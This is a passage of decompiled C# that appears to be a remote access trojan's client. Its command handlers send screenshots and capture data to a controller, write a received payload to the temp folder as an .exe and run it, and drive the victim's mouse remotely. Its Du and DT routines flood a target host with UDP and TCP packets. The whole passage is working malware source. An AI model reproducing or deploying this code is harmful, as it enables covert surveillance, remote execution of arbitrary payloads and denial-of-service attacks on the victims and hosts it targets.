            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num52,
              (object) integer
            }, (string[]) null, true, false);
            MemoryStream memoryStream2 = memoryStream1;
            ImageFormat jpeg = ImageFormat.Jpeg;
            image.Save((Stream) memoryStream2, jpeg);
            MemoryStream memoryStream3 = new MemoryStream();
            memoryStream3.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length);
            memoryStream3.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length);
            MyProject.Forms.B.WC.SendData(memoryStream3.ToArray());
            memoryStream1.Dispose();
            memoryStream3.Dispose();
            MyProject.Forms.B = (B) null;
          }
        }
        else if (Operators.CompareString(Left1, "#29", false) == 0)
        {
          IND.ER = 0;
          B b = MyProject.Forms.B;
          string str69 = "#Bla";
          ref string local60 = ref str69;
          b.SEND(ref local60);
          int num53 = 0;
          string str70;
          while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"))
          {
            try
            {
              File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe");
              str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
              goto label_259;
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            ++num53;
            if (num53 > 999)
              goto label_259;
          }
          str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
label_259:
          string path = str70;
          byte[] Byt = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null)));
          bool flag = false;
          ref bool local61 = ref flag;
          byte[] bytes = API.ZIP(Byt, ref local61);
          File.WriteAllBytes(path, bytes);
          Process.Start(new ProcessStartInfo()
          {
            FileName = str70,
            Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id)
          });
          ProjectData.EndApp();
        }
        else if (Operators.CompareString(Left1, "#30", false) == 0)
        {
          try
          {
            Array Instance42 = Instance1;
            object[] objArray76 = new object[1];
            object[] objArray77 = objArray76;
            int num54 = 1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num54;
            objArray77[0] = (object) local;
            object[] Arguments = objArray76;
            int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments, (string[]) null));
            byte[] numArray = sc.gc(ref integer);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num54,
              (object) integer
            }, (string[]) null, true, false);
            byte[] buffer = numArray;
            MemoryStream memoryStream = new MemoryStream();
            memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length);
            memoryStream.Write(buffer, 0, buffer.Length);
            MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
        }
        else if (Operators.CompareString(Left1, "#31", false) == 0)
        {
          IND.ER = 0;
          if (B.Busy)
            return;
          B.Busy = true;
          B b = MyProject.Forms.B;
          string str71 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height);
          ref string local = ref str71;
          b.SEND(ref local);
          B.Busy = false;
        }
        else if (Operators.CompareString(Left1, "#32", false) == 0)
        {
          IND.ER = 0;
          Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 2
          }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 3
          }, (string[]) null)));
          object Left4 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null);
          if (Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false))
          {
            IND.mouse_event(8, 0, 0, 0, 1);
            IND.mouse_event(16, 0, 0, 0, 1);
          }
          else if (Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false))
          {
            IND.mouse_event(2, 0, 0, 0, 1);
            IND.mouse_event(4, 0, 0, 0, 1);
          }
          else
          {
            if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false))
              return;
            IND.mouse_event(2, 0, 0, 0, 1);
            IND.mouse_event(4, 0, 0, 0, 1);
            IND.mouse_event(2, 0, 0, 0, 1);
            IND.mouse_event(4, 0, 0, 0, 1);
          }
        }
        else if (Operators.CompareString(Left1, "#33", false) == 0)
        {
          B b = MyProject.Forms.B;
          string str72 = "#5" + IND.Y + API.Gt();
          ref string local = ref str72;
          b.SEND(ref local);
        }
        else
        {
          if (Operators.CompareString(Left1, "#34", false) != 0)
            return;
          IND.ER = 0;
          Array Instance43 = Instance1;
          object[] objArray78 = new object[1];
          object[] objArray79 = objArray78;
          int num55 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num55;
          objArray79[0] = (object) local;
          object[] Arguments = objArray78;
          int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null));
          byte[] numArray = C.Capture1(ref integer);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num55,
            (object) integer
          }, (string[]) null, true, false);
          byte[] buffer = numArray;
          if (buffer.Length == 0)
            return;
          MemoryStream memoryStream = new MemoryStream();
          memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
          memoryStream.Write(buffer, 0, buffer.Length);
          MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
        }
      }
      catch (Exception ex)
      {
        int lErl = num1;
        ProjectData.SetProjectError(ex, lErl);
        Exception exception = ex;
        B.Busy = false;
        B b = MyProject.Forms.B;
        string[] strArray13 = new string[6]
        {
          "#10",
          IND.Y,
          "^",
          Conversions.ToString(IND.ER),
          IND.Y,
          null
        };
        string[] strArray14 = strArray13;
        string message = exception.Message;
        string str73 = API.ENB(ref message);
        strArray14[5] = str73;
        string str74 = string.Concat(strArray13);
        ref string local = ref str74;
        b.SEND(ref local);
        IND.ER = 0;
        ProjectData.ClearProjectError();
      }
    }

    public static string siz(string Size)
    {
      if (Size.Length < 4)
        return Size + " Bytes";
      string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0);
      string str2 = " KB";
      int integer;
      if (Strings.InStr(str1, ".") > 0)
      {
        Array Instance = (Array) Strings.Split(str1, ".");
        str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 0
        }, (string[]) null));
        if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
        {
          (object) 1
        }, (string[]) null).ToString().Length > 3)
          integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null)), 1, 3));
        else
          integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null));
      }
      if (str1.Length > 3)
      {
        str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
        str2 = " MB";
        if (Strings.InStr(str1, ".") > 0)
        {
          Array Instance = (Array) Strings.Split(str1, ".");
          str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 0
          }, (string[]) null));
          if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().Length > 3)
            integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null)), 1, 3));
          else
            integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null));
        }
      }
      if (str1.Length > 3)
      {
        str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
        str2 = " GB";
        if (Strings.InStr(str1, ".") > 0)
        {
          Array Instance = (Array) Strings.Split(str1, ".");
          str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 0
          }, (string[]) null));
          if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().Length > 3)
            integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null)), 1, 3));
          else
            integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
            {
              (object) 1
            }, (string[]) null));
        }
      }
      return str1 + "." + Conversions.ToString(integer) + str2;
    }

    [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern void mouse_event(
      int dwFlags,
      int dx,
      int dy,
      int cButtons,
      int dwExtraInfo);

    public static byte[] SB(ref string s, ref byte[] B)
    {
      MemoryStream memoryStream = new MemoryStream();
      byte[] bytes = Encoding.Default.GetBytes(s);
      memoryStream.Write(bytes, 0, bytes.Length);
      byte[] Byt = B;
      bool flag = true;
      ref bool local = ref flag;
      byte[] buffer = API.ZIP(Byt, ref local);
      memoryStream.Write(buffer, 0, buffer.Length);
      return memoryStream.ToArray();
    }

    public static string _P(ref int y)
    {
      IND.pk = "";
      int num = y;
      for (int index = 0; index <= num; ++index)
        IND.pk += "A";
      return IND.pk;
    }

    public static void Du(Array z)
    {
      byte[] numArray = new byte[0];
      Encoding ascii = Encoding.ASCII;
      int y = 1000;
      string s = IND._P(ref y);
      byte[] bytes = ascii.GetBytes(s);
      try
      {
        TcpClient tcpClient = new TcpClient();
        Socket client = tcpClient.Client;
        object[] objArray1 = new object[2];
        object[] objArray2 = objArray1;
        Array Instance1 = z;
        object[] objArray3 = new object[1];
        object[] objArray4 = objArray3;
        int num1 = 0;
        // ISSUE: variable of a boxed type
        __Boxed<int> local1 = (ValueType) num1;
        objArray4[0] = (object) local1;
        object[] Arguments1 = objArray3;
        object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
        objArray2[0] = objectValue1;
        object[] objArray5 = objArray1;
        Array Instance2 = z;
        object[] objArray6 = new object[1];
        object[] objArray7 = objArray6;
        int num2 = 1;
        // ISSUE: variable of a boxed type
        __Boxed<int> local2 = (ValueType) num2;
        objArray7[0] = (object) local2;
        object[] Arguments2 = objArray6;
        object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
        objArray5[1] = objectValue2;
        object[] objArray8 = objArray1;
        object[] Arguments3 = objArray8;
        bool[] flagArray = new bool[2]{ true, true };
        bool[] CopyBack = flagArray;
        NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
        if (flagArray[0])
          NewLateBinding.LateIndexSetComplex((object) z, new object[2]
          {
            (object) num1,
            RuntimeHelpers.GetObjectValue(objArray8[0])
          }, (string[]) null, true, false);
        if (flagArray[1])
          NewLateBinding.LateIndexSetComplex((object) z, new object[2]
          {
            (object) num2,
            RuntimeHelpers.GetObjectValue(objArray8[1])
          }, (string[]) null, true, false);
        tcpClient.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
        return;
      }
      int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) z, new object[1]
      {
        (object) 2
      }, (string[]) null));
      for (int index = 0; index <= integer; ++index)
      {
        UdpClient udpClient = new UdpClient();
        try
        {
          UdpClient Instance3 = udpClient;
          object[] objArray9 = new object[2];
          object[] objArray10 = objArray9;
          Array Instance4 = z;
          object[] objArray11 = new object[1];
          object[] objArray12 = objArray11;
          int num3 = 0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          objArray12[0] = (object) local3;
          object[] Arguments4 = objArray11;
          object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
          objArray10[0] = objectValue3;
          object[] objArray13 = objArray9;
          Array Instance5 = z;
          object[] objArray14 = new object[1];
          object[] objArray15 = objArray14;
          int num4 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          objArray15[0] = (object) local4;
          object[] Arguments5 = objArray14;
          object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
          objArray13[1] = objectValue4;
          object[] objArray16 = objArray9;
          object[] Arguments6 = objArray16;
          bool[] flagArray = new bool[2]{ true, true };
          bool[] CopyBack = flagArray;
          NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
          if (flagArray[0])
            NewLateBinding.LateIndexSetComplex((object) z, new object[2]
            {
              (object) num3,
              RuntimeHelpers.GetObjectValue(objArray16[0])
            }, (string[]) null, true, false);
          if (flagArray[1])
            NewLateBinding.LateIndexSetComplex((object) z, new object[2]
            {
              (object) num4,
              RuntimeHelpers.GetObjectValue(objArray16[1])
            }, (string[]) null, true, false);
          udpClient.Client.SendTimeout = 500;
          udpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
    }

    public static void DT(Array Z)
    {
      byte[] numArray = new byte[0];
      Encoding ascii = Encoding.ASCII;
      int y = 1000;
      string s = IND._P(ref y);
      byte[] bytes = ascii.GetBytes(s);
      try
      {
        TcpClient tcpClient = new TcpClient();
        Socket client = tcpClient.Client;
        object[] objArray1 = new object[2];
        object[] objArray2 = objArray1;
        Array Instance1 = Z;
        object[] objArray3 = new object[1];
        object[] objArray4 = objArray3;
        int num1 = 0;
        // ISSUE: variable of a boxed type
        __Boxed<int> local1 = (ValueType) num1;
        objArray4[0] = (object) local1;
        object[] Arguments1 = objArray3;
        object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
        objArray2[0] = objectValue1;
        object[] objArray5 = objArray1;
        Array Instance2 = Z;
        object[] objArray6 = new object[1];
        object[] objArray7 = objArray6;
        int num2 = 1;
        // ISSUE: variable of a boxed type
        __Boxed<int> local2 = (ValueType) num2;
        objArray7[0] = (object) local2;
        object[] Arguments2 = objArray6;
        object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
        objArray5[1] = objectValue2;
        object[] objArray8 = objArray1;
        object[] Arguments3 = objArray8;
        bool[] flagArray = new bool[2]{ true, true };
        bool[] CopyBack = flagArray;
        NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
        if (flagArray[0])
          NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
          {
            (object) num1,
            RuntimeHelpers.GetObjectValue(objArray8[0])
          }, (string[]) null, true, false);
        if (flagArray[1])
          NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
          {
            (object) num2,
            RuntimeHelpers.GetObjectValue(objArray8[1])
          }, (string[]) null, true, false);
        tcpClient.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
        return;
      }
      int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Z, new object[1]
      {
        (object) 2
      }, (string[]) null));
      for (int index = 0; index <= integer; ++index)
      {
        TcpClient tcpClient = new TcpClient();
        try
        {
          TcpClient Instance3 = tcpClient;
          object[] objArray9 = new object[2];
          object[] objArray10 = objArray9;
          Array Instance4 = Z;
          object[] objArray11 = new object[1];
          object[] objArray12 = objArray11;
          int num3 = 0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          objArray12[0] = (object) local3;
          object[] Arguments4 = objArray11;
          object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
          objArray10[0] = objectValue3;
          object[] objArray13 = objArray9;
          Array Instance5 = Z;
          object[] objArray14 = new object[1];
          object[] objArray15 = objArray14;
          int num4 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          objArray15[0] = (object) local4;
          object[] Arguments5 = objArray14;
          object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
          objArray13[1] = objectValue4;
          object[] objArray16 = objArray9;
          object[] Arguments6 = objArray16;
          bool[] flagArray = new bool[2]{ true, true };
          bool[] CopyBack = flagArray;
          NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
          if (flagArray[0])
            NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
            {
              (object) num3,
              RuntimeHelpers.GetObjectValue(objArray16[0])
            }, (string[]) null, true, false);
          if (flagArray[1])
            NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
            {
              (object) num4,
              RuntimeHelpers.GetObjectValue(objArray16[1])
            }, (string[]) null, true, false);
          tcpClient.Client.SendTimeout = 500;
          tcpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
    }

    public delegate void indd(string T);
  }
}